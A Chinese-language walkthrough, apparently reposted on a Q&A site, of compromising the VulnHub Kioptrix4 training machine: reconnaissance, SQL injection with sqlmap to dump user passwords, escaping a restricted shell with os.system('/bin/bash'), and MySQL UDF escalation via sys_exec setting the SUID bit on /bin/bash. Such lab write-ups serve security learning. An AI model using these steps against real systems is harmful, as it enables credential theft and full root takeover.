欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

Vunlhub靶场Kioptrix4

时间:2023-05-15

勘探

nmap探查

PORT备注22/tcpopenssh 4.780/tcpapache 2.2.8 php5.2.4139/tcpsmb445/tcpsmb

445smb

smbclient -L 192.168.1.108/IPC Enter WORKGROUProot's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))Reconnecting with SMB1 for workgroup listing.Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- MYGROUP KIOPTRIX WORKGROUP KIOPTRIX4

发现可以匿名访问,但是什么也没有,只有一个IPC空连接和print打印机

使用在80端口发现的账号发现不对

smbclient -L 192.168.1.108 -U john%1234session setup failed: NT_STATUS_LOGON_FAILURE

80web

打开发现是一个登陆面板

 

用dirsearch扫一下

python3.9 dirsearch.py -u 192.168.1.108 [16:40:34] 200 - 109B - /checklogin [16:40:34] 200 - 109B - /checklogin.php [16:40:36] 200 - 298B - /database.sql [16:40:34] 200 - 109B - /checklogin [16:40:34] 200 - 109B - /checklogin.php [16:40:36] 200 - 298B - /database.sql [16:40:41] 200 - 932B - /images/

发现暴漏了一个database文件

CREATE TABLE `members` (`id` int(4) NOT NULL auto_increment,`username` varchar(65) NOT NULL default '',`password` varchar(65) NOT NULL default '',PRIMARY KEY (`id`)) TYPE=MyISAM AUTO_INCREMENT=2 ;-- -- Dumping data for table `members`-- INSERT INTO `members` VALUES (1, 'john', '1234');

发现有一条记录关于john用户的

登陆一下,发现登录不上

换一个大一点的字典

python3.9 dirsearch.py -u 192.168.1.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[16:21:49] 200 - 1KB - /index[16:21:50] 302 - 220B - /member -> index.php [16:21:51] 301 - 354B - /images -> http://192.168.1.108/images/ [16:21:53] 302 - 0B - /logout -> index.php [16:21:57] 301 - 352B - /john -> http://192.168.1.108/john/ [16:22:14] 301 - 354B - /robert -> http://192.168.1.108/robert/ [16:27:29] 403 - 333B - /server-status

发现了除了john还有一个叫robert的用户

没有密码,还是不行

登陆界面用户名处好像没问题

但是密码处存在单引号注入

22ssh

尝试使用sql文件中的john%1234,登陆失败

获取用户权限

由于ssh我们登陆失败,smb是空的,所以我们只能寄希望于sql注入或者爆破账户名密码能够爆出有用的信息

首先尝试了hydra的弱口令密码爆破,显而易见没有得到密码

然后我们使用sqlmap来对我们之前发现的sql报错点进行爆库名,表名,信息等操作

首先对提交用户名密码的数据包进行抓包,并在密码后加上*保存至db文件中

sqlmap -r db -batch --dbs

发现存在

两个默认的数据库

information_schema

mysql

以及一个非默认数据库

member

那么继续看看这个非默认的数据库中有什么表

qlmap -r db --batch -D members --tables

发现存在

只有爆破出一个表

members

那么看看表中的内容把

sqlmap -r db --batch -D members -T members --dump

![2020011415360890[1].png][3]

robert应该是base加密不需要理他

直接用john的账号登录,但是发现什么也没有

那么看来这个登陆面板就是为了留一个sql注入的口,让我们得到密码的,那么继续用ssh登录

ssh john@ip MyNameIsJohn

进入后发现有一个限制shell命令的开源shell

这玩意其实和咱们转发出来的shell没区别,用一些逃逸语句就可以跑出来

echo os.system('/bin/bash')

还看到一种说法使用lshell的漏洞来进行逃逸但我没复现成功。不知道怎么会是

然后查看

正在运行的进程发现mysql的权限配置存在一些问题,mysqld和safe都以root权限运行,这导致了存在一个mysql的udf提权

ps -ef | grep root 查看以root权限运行的进程

使用命令

mysql -u root -e "select * from mysql.func;"

发现甚至里面都有sys_exec函数

那么直接执行就可以

那么用mysql直接执行

select sys_exec('chmod u+s /bin/bash');

然后就可以用

bash -p

来调出一个root权限的shell了

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。